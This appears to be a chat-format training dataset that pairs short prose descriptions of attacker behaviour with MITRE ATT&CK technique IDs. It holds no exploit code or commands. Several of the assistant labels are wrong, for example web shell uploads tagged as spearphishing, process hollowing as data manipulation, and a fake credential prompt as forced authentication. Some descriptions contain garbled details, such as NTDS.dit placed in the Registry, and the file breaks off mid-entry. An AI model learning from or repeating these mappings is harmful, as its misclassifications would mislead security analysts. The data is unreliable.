                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account drops a systemd service and timer pair to repeatedly download and execute C2 binaries."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT5 loads a rogue DLL into the Win32k system via the Terminal Services service to gain elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Botnet nodes are instructed via an encrypted channel to download additional payloads for lateral movement within a target network."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious URL delivered via a compromised website's comment section leads to a malicious payload that runs automatically when the user clicks it."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious RTF document is sent to a senior manager; opening it triggers an exploit chain that downloads a second-stage payload."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a privilege escalation exploit to dump the contents of /etc/shadow."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware program monitors GUI input events by attaching to the message queue of target processes."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Web shell uploads for unauthorized data access and theft"
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a malicious .chm file that abuses mshtml.exe to proxy the execution of a credential‑dumping tool, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary pulls configuration snapshots from a central configuration management system."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group gathers personal identification documents, including driver's license numbers and passport details, from compromised file shares belonging to the target."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team uses Process Hollowing to replace the code of a legitimate process with malicious payload at runtime."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool is followed by the creation of a new local account for persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses AES‑256 in CBC mode to encrypt its communications with the controller, creating an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary develops a custom credential dumping tool using open‑source libraries."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 regularly harvests data from proprietary threat intelligence platforms to map out the victim's security posture."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a DGA that yields domain names with varying top‑level domains to broaden reach."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious extension intercepts and changes JSON responses from a REST API."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue SSP DLL is placed in the system directory and referenced in the LSA Security Packages key for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan scans ports 1-1024 on the local subnet to identify open services."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By delivering a malformed USB device driver, the attacker forces the OS to crash during initialization, resulting in endpoint denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool drops a malicious DLL and injects it into the LSASS process to extract credentials."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script disables the cryptographic accelerator card, causing all encryption to be processed via slower, less secure software routines."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a service account, the attacker sets up a DNS tunneling channel to communicate; later, a larger payload is delivered via encoded DNS TXT records."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised the updater component of a popular file synchronization client to deliver a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation, the attacker searches the user's command line history for patterns indicating stored credentials, like \"mysql -u root -p\"."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious macro in a document exfiltrates the victim’s saved email credentials from the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exfiltrated network logs by writing them to a portable microSD card which was later taken out of the building."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A .NET application is compromised when the attacker changes the COR_PROFILER environment variable to load a rogue profiling library, redirecting execution."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary inspects the DRIVER_OBJECT structures in kernel memory for loaded drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors obtain exploit payloads from the dark web and use them to exploit unpatched services on the target infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script reads and exfiltrates cached credentials from the Windows Registry NTDS.dit file."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group employs a multi-hop proxy technique where initial access is gained on a low-security server, which then proxies traffic to a high-value target via two additional compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised service account to send an internal email that references a recent policy change and includes a malicious macro‑enabled Excel sheet."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a malicious mobile app, the group collected device identifiers, user account names, and location history to profile victims."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using sc.exe to set the service's binPath to a custom script and granting write permissions to the service file, the adversary ensured the script runs at service startup."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal registers a new domain account and assigns it to the Remote Desktop Users group."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder installs a rogue PCIe card with a custom backdoor to intercept and manipulate system traffic."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use spear phishing to gain initial access to a network by sending tailored emails that appear legitimate but contain malicious links or attachments."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell script records microphone audio for 30 seconds and uploads the .wav file to the attacker’s C2 server."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deletes the anti-virus executable from the system to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs a user-mode rootkit that replaces system utilities with trojanized versions to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages DNS A record lookups to compute the location of a remote exploit."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a malicious PowerShell script to record video from the user’s built‑in camera and exfiltrate the footage."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a .vbs file to enumerate system information and exfiltrate it using built‑in Windows utilities."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan queries the BIOS vendor string for values like 'VMware', 'VirtualBox', or 'QEMU' to detect a virtualized host."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a file system filter driver to systematically adjust timestamps of all files dropped during the infection."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged msiexec.exe with the /quiet and /i switches to silently install a malicious MSI package that runs a payload, effectively using msiexec as a proxy for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker rents a bullet‑proof hosting account to host illegal content and command‑and‑control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a script to pull the Syslog server's filter settings from the network security appliance."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor reconfigures the database encryption settings to use DES instead of Triple‑DES, significantly lowering data protection."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT5 exploited CMSTP by supplying a malicious INF that caused the utility to run a script with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a phishing campaign using spear phishing to gain access to sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Keychain Access utility via automation to export certificates and private keys."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Scanning for wireless networks to capture SSIDs, BSSIDs, and signal strengths in the area."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromised a VPN appliance and used it as an external proxy to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contained a malicious .exe disguised as a software update attachment, leading to credential theft once executed."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What is the MITRE ATT&CK ID and Name for a technique where an attacker uses exploitation of remote services to gain unauthorized access to a system?"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker encodes malicious PowerShell commands with Base64 and embeds them in a Windows Registry key to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider ran PowerShell scripts to call the Azure Compute Management API, deleting the organization's VMs."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a script to erase recently created files that contain indicators of compromise, such as credential dumps."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool ignores SIGTERM and SIGKILL signals, maintaining its execution and keeping its files concealed."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the plist of an existing launch daemon with one that runs a reverse shell every time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage Windows Management Instrumentation (WMI) to spawn a new process that runs a PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code causes the operating system to display a credential prompt that looks like a system update, coercing the user into providing their admin password."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker acquires a free website builder account to host a phishing landing page."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exploits the NAT traversal feature of the STUN protocol to discover the public IP address and open ports, enabling it to receive remote commands from outside the protected network."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs remote PowerShell remoting over WinRM to run code on additional servers."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a privilege escalation exploit in the Linux kernel to read /etc/shadow and obtain password hashes."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers performed searches on Shodan and Censys for SSL/TLS certificates that match the victim's domain names."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary obtains encrypted private keys from a compromised Git repository and attempts to crack the passphrase offline."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Recon script automates Bing searches for the company's private VPN login portals."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses compromised AWS credentials to deploy a hidden Lambda function for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a crafted socket filter, the attacker causes legitimate traffic to be sent to an attacker‑controlled server, achieving traffic signaling."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An operator obtains a zero‑day exploit kit from a dark‑web marketplace to enhance their malware arsenal."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script reads the /proc/driver/rtc file on Linux to discover the hardware clock value."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a service account, the malware dumped the LSASS process to obtain Kerberos tickets and then replayed them."
            },
            {
